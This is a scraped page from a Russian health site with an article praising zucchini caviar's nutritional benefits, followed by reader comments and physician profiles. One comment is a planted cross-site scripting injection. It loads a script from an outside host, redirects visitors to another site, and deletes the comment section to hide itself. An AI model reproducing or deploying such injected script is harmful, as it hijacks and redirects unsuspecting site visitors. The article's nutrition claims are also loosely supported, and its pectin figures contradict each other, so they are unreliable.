Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Кабачковая икра. Славянск...  >>  Кабачковая икра. Славянский продукт
 
Обратная связь
 

Кабачковая икра. Славянский продукт

Размер шрифта
06 февраля 2012 08:00
  • google_analytics: false
  • Нравится

Из чего готовится кабачковая икра и какова польза этого продукта.

1 

Кабачковая икра готовится из трех основных компонентов. Это кабачок, морковь и томат.

Польза кабачковой икры давно известна диетологам. Этот малокалорийный продукт прекрасно усваивается организмом.

Икра из кабачков, благодаря содержанию в ней калия, полезна людям склонным к отекам, страдающим от нарушений работы кишечника и желчного пузыря, и просто всем тем, кто хочет разнообразить свой рацион.

Витамин С, также содержащийся в икре, стимулирует работу желудка, желчного пузыря, 12-перстной кишки, улучшает работу желудочно-кишечного тракта, полезен при гипертонии, малокровии, лишнем весе, сердечно-сосудистых заболеваниях. Поскольку витамин С обладает противовоспалительными свойствами - кабачок полезен при астме, остеоартрозе и ревматоидном артрите, где воспаление играет большую роль.

В самом кабачке находятся фолаты полезные для профилактики гомоцистеина, а также пектиновые вещества (1,7—2%), количество которых в несколько раз превышает содержание их в таких широко распространенных овощах, как капуста белокочанная (0,6%) или морковь (0,5%). Под их влиянием нормализуется состояние микрофлоры кишечника. Эти вещества предохраняют слизистую оболочку желудка и кишечника, способствуют их заживлению, побуждают перистальтику кишечника.

Ну а от моркови и томата в кабачковой икре содержатся такие полезные для здоровья вещества, как бета-каротин и ликопин.

1

Пьедестал почета по содержанию пектина

1 – Цукини – 17 мг
2 – Тыква – 12,3 мг
3 – Кабачковая икра – 8,4 мг



Сюжеты по теме:
Кабачковая икра. Славянский продукт

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - Гость

06 февраля 2012 в 16:35

Цитировать   |   Пожаловаться

Нет, не три компонента: еще репчатый лук обязательно и растительного масла как следует (на одной воде не делается!). И к тому же этот малокалорийный продукт практически  усваивается организмом, поскольку в кабачках много клетчатки, и икра срабатывает как слабительное (вне зависимости от производителя, и даже если самим дома сделать)!

2 - Гость

06 февраля 2012 в 16:37

Цитировать   |   Пожаловаться

простите, не правильно написал: она не усваивается! именно потому, что клетчатки много.

3 - Гость

06 февраля 2012 в 19:27

Цитировать   |   Пожаловаться

если побольше масла, то продукт получится ВЫСОКОКОЛОРИЙНЫЙ.

 

4 - Гость

07 февраля 2012 в 12:48

Цитировать   |   Пожаловаться

Гость 06 февраля 2012 в 19:27
если побольше масла, то продукт получится ВЫСОКОКОЛОРИЙНЫЙ.
 а без обжаренной в масле морковки с луком полное дерьмо получается. Посмотреть бы на человека, который в восторге от вареной моркови, она же своим вкусом все перешибет (исключение - винегрет, там огурцы и капуста с ярким вкусом)

5 - zzzzzz

30 июня 2015 в 23:57

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.